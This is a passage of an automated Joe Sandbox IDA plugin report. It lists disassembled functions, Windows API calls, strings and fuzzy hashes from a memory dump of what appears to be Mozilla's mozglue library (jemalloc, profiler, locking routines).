Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ac84407ce1247e72d5766044b35aefa008ce5a1b11de5b53017a40efa67b966c
Instruction ID: 9bdaa567aec04547d6c6e957d4cc07670b9a2da1b4161ddf12151d4eaa214f54
Opcode Fuzzy Hash: ac84407ce1247e72d5766044b35aefa008ce5a1b11de5b53017a40efa67b966c
Instruction Fuzzy Hash: 9C21F671A002559BDB008F69CC50BAEBBB9FF45304F294029E818DB345E776DD15C7A1

Function 6CB976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB97705

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB97717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB9778F,00000000,00000000,00000000,00000000), ref: 6CB97731
free.MOZGLUE(00000000), ref: 6CB97760

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ec83bfaa355b3e4bf50337dc523b9454ad656898ebf8a6c84de6f0a516f0b57d
Instruction ID: 0652721f6df14e58685b48345ff736a07e3407c34d4ccbab49b8620e8ea43fbf
Opcode Fuzzy Hash: ec83bfaa355b3e4bf50337dc523b9454ad656898ebf8a6c84de6f0a516f0b57d
Instruction Fuzzy Hash: CA11B6B1904255ABD710AF758C44B6B7EE8EF56354F144429F848A7300E775984487E2

Function 6CB70D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CB33DEF), ref: 6CB70D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CB33DEF), ref: 6CB70D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CB33DEF), ref: 6CB70DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB70D97, 6CB70DBE
<jemalloc>, xrefs: 6CB70D92, 6CB70DB9

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: e59640d0f45c4cdbe0a4e99d7b6542403f634bb12d156077f0d9158d4648c108
Instruction ID: 711dc368a3f1c8c9389434fba03943bb6c0be70e63ac7fa921209c6c7087e7c4
Opcode Fuzzy Hash: e59640d0f45c4cdbe0a4e99d7b6542403f634bb12d156077f0d9158d4648c108
Instruction Fuzzy Hash: 78F0BB223843E426DA3011656D09B7A355DB7C1B15F244027FE64EE9C0DE61E8004779

Function 6CB87620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB875C4,?), ref: 6CB8762B

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB874D7,6CB915FC,?,?,?), ref: 6CB87644
GetCurrentThreadId.KERNEL32 ref: 6CB8765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB874D7,6CB915FC,?,?,?), ref: 6CB87663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB874D7,6CB915FC,?,?,?), ref: 6CB87677

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 4a02102c238f3687dfb0a7717830491704ce670179a04342944d8d8329e1b7ae
Instruction ID: 8f92195577ccba41d3f358372e9bf6e00005c5de56fa5f5d9043f211afdf6638
Opcode Fuzzy Hash: 4a02102c238f3687dfb0a7717830491704ce670179a04342944d8d8329e1b7ae
Instruction Fuzzy Hash: 0AF0C271E10785AFD7008F21C88867AB778FFEA259F115316F90443611EBB0B5D08BD0

Function 6CB5D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

EnterCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D4F2
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D50B

Part of subcall function 6CB3CFE0: EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB3CFF6
Part of subcall function 6CB3CFE0: LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D52E
EnterCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB5D690
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D751

Strings

MOZ_CRASH(), xrefs: 6CB5D4BB

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 805e9fba0923d54a949e68279d8837355a6c49df51743d11c448b9afdfdd5416
Instruction ID: 99c08ef7e90e9cea29c70587db9a51e55e7beeb3e472f7a0ff4fc2842c04d402
Opcode Fuzzy Hash: 805e9fba0923d54a949e68279d8837355a6c49df51743d11c448b9afdfdd5416
Instruction Fuzzy Hash: DD510275A047858FD714CF39C59072AB7E1EB89304FA44A2EE59AC7F94DB70E810CB92

Function 6CB84630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB84721

Strings

profiler-paused, xrefs: 6CB846E4
-%llu, xrefs: 6CB84733
., xrefs: 6CB8476A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7014a32434b6ae8972c069d2533f7e33155d6ff126895728bcfe4532456312a0
Instruction ID: 2fba0a640a00ae01072d8a03590177830fac34fa9f43195c01d9051ff5a3d3f9
Opcode Fuzzy Hash: 7014a32434b6ae8972c069d2533f7e33155d6ff126895728bcfe4532456312a0
Instruction Fuzzy Hash: E6416B75E047489FCB08DFB9E86219EBBF9EF85744F10863EE84557B41EB3098048B42

Function 6CB846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB84721

Part of subcall function 6CB34410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB73EBD,00000017,?,00000000,?,6CB73EBD,?,?,6CB342D2), ref: 6CB34444

Strings

profiler-paused, xrefs: 6CB846E4
-%llu, xrefs: 6CB84733
., xrefs: 6CB8476A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 2a39dc1204f766b7a6af4ac2e6b724becf42859667fad4453491634764593a9b
Instruction ID: be4e3741bed757e7cba27f7b5636c60f8fba911bc7eae129287c9cef14c5af4f
Opcode Fuzzy Hash: 2a39dc1204f766b7a6af4ac2e6b724becf42859667fad4453491634764593a9b
Instruction Fuzzy Hash: 2F314B75F052484BCF0CCFADD8912AEBBEADB98314F54453EE8059BB41EB7498048F51

Function 6CB8B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB73EBD,6CB73EBD,00000000), ref: 6CB342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB8B127), ref: 6CB8B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB8B4E4

Strings

pid:, xrefs: 6CB8B4DE

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 17007ee498c007fcf383b7c1da6b25147e12eb88c183755bb6e36554f42cfae3
Instruction ID: 9c69cb12dc6e6542760bfc9116b25e9e3ee50aadc9ce6ed5426f864c9d97525b
Opcode Fuzzy Hash: 17007ee498c007fcf383b7c1da6b25147e12eb88c183755bb6e36554f42cfae3
Instruction Fuzzy Hash: 5A31F031A02288DBDB00DFB9DC81AEEB7B5FF05318F580529D81167B41D731E849CBA2

Function 6CB7E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB7E577
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7E584
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB7E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB7E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB7E722, 6CB7E750, 6CB7E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB7E826, 6CB7E850
MOZ_PROFILER_STARTUP, xrefs: 6CB7E5A1, 6CB7E5CC, 6CB7E5FF, 6CB7E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB7E655

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3725d8e204e2c051ce2e2876b04e418f38bff87ca6936f87a3cf3c6ceafd55e2
Instruction ID: 896e9a912e6176e03fddd2d7d0674cd6db60fbcbff2c61f0f762fab5f7be8728
Opcode Fuzzy Hash: 3725d8e204e2c051ce2e2876b04e418f38bff87ca6936f87a3cf3c6ceafd55e2
Instruction Fuzzy Hash: 3911A13D604298DFCB109F18C448A6EFBB4FF89328F410619F85557A50CB74A804CB99

Function 6CB80C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB80CD5

Part of subcall function 6CB6F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB6F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB80D40
free.MOZGLUE ref: 6CB80DCB

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

free.MOZGLUE ref: 6CB80DDD
free.MOZGLUE ref: 6CB80DF2

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: cbdfd8c51f13e735f06cf3e950910dbd4451193dda03652eaec5d05d692619d1
Instruction ID: a74ed54e3144c62026bbbfcfa3ded138a2b0c158128160fa35351f061c269af1
Opcode Fuzzy Hash: cbdfd8c51f13e735f06cf3e950910dbd4451193dda03652eaec5d05d692619d1
Instruction Fuzzy Hash: DD410771A0A7949BD320CF29D0807AEFBE5FF89754F508A2EE8D887751D770A445CB82

Function 6CB8CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8CDA4

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

Part of subcall function 6CB8D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB8CDBA,00100000,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8D158
Part of subcall function 6CB8D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB8CDBA,00100000,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8CDC4

Part of subcall function 6CB87480: ReleaseSRWLockExclusive.KERNEL32(?,6CB915FC,?,?,?,?,6CB915FC,?), ref: 6CB874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8CECC

Part of subcall function 6CB4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB4CAA2

Part of subcall function 6CB7CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB8CEEA,?,?,?,?,00000000,?,6CB7DA31,00100000,?,?,00000000), ref: 6CB7CB57
Part of subcall function 6CB7CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB7CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB8CEEA,?,?), ref: 6CB7CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8D058

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 12425e788af03de4db57a0690c30b8bb1511b578e4b5ad2711debf172dc0370b
Instruction ID: 43c131f57a84928d61b603f16b51c3680e09c45e7e718a007ab64fadaa588d0c
Opcode Fuzzy Hash: 12425e788af03de4db57a0690c30b8bb1511b578e4b5ad2711debf172dc0370b
Instruction Fuzzy Hash: FBD15F71A05B469FD708CF38C490B99F7E1FF89308F01866ED95987711EB31A965CB81

Function 6CB55C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CB55D40
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB55D67
__aulldiv.LIBCMT ref: 6CB55DB4
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB55DED

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 6d6dd3331f88f7bf00482f58405ddd5f6eeaf10e718c42b930ad1ab88f7376b7
Instruction ID: d6b19a5d66eb3c369c2f7bb1394508bdaf5312014224dffe84df8236c248a6c4
Opcode Fuzzy Hash: 6d6dd3331f88f7bf00482f58405ddd5f6eeaf10e718c42b930ad1ab88f7376b7
Instruction Fuzzy Hash: FA51717AE001AA8FDF08CFA8C854ABEBBB1FF85304F594619D811A7750CB306945CB94

Function 6CB3CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB3CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CB3CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CB3CF4E

Strings

0, xrefs: 6CB3CF30

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 1a61231bddbcef2aaa454052e1555c7d892ac92298ba3fd53098e31ee98ca39a
Instruction ID: 8992c8f5648723626e92bf80eb52a1168e6f419f11f10bbb75de7428cc3f3e70
Opcode Fuzzy Hash: 1a61231bddbcef2aaa454052e1555c7d892ac92298ba3fd53098e31ee98ca39a
Instruction Fuzzy Hash: 52510475A042A68FCB00CF58C890A9AB7B5EF99304F19869DD8595F391D731FD06CBE0

Function 6CB76470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB782BC,?,?), ref: 6CB7649B

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB764A9

Part of subcall function 6CB6FA80: GetCurrentThreadId.KERNEL32 ref: 6CB6FA8D
Part of subcall function 6CB6FA80: AcquireSRWLockExclusive.KERNEL32(6CBBF448), ref: 6CB6FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB7653F
free.MOZGLUE(?), ref: 6CB7655A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 7dd0573489f78da39eb9105f43bdc1cbe6dc50f1b84d0c21986a6d78958a62d9
Instruction ID: 6ff435654f00cc925e2fef344d3c7c1158c4e32d41bf56d70cb5fb8022d5eb78
Opcode Fuzzy Hash: 7dd0573489f78da39eb9105f43bdc1cbe6dc50f1b84d0c21986a6d78958a62d9
Instruction Fuzzy Hash: 8E315EB5A043459FD704CF14D884A9EBBF4FF89314F00442EE89A97751DB30EA19CB92

Function 6CB4B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB4B4F5
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB4B502
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB4B542
free.MOZGLUE(?), ref: 6CB4B578

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b8beb37477d7aa227ff833709fa96c3416a4661455d2ef08ca584da206df769a
Instruction ID: db9e8fe54aeea7d525077e98c0e98019a97e0c90d069eae8ddc365212fc076ea
Opcode Fuzzy Hash: b8beb37477d7aa227ff833709fa96c3416a4661455d2ef08ca584da206df769a
Instruction Fuzzy Hash: DD110339A08F85C7D7128F29C40076AF3B0FF9A318F10970AE94953A02EFB0B9D48795

Function 6CB73DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CB3F20E,?), ref: 6CB73DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CB3F20E,00000000,?), ref: 6CB73DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB73E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB73E0E

Part of subcall function 6CB6CC00: GetCurrentProcess.KERNEL32(?,?,6CB331A7), ref: 6CB6CC0D
Part of subcall function 6CB6CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CB331A7), ref: 6CB6CC16

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
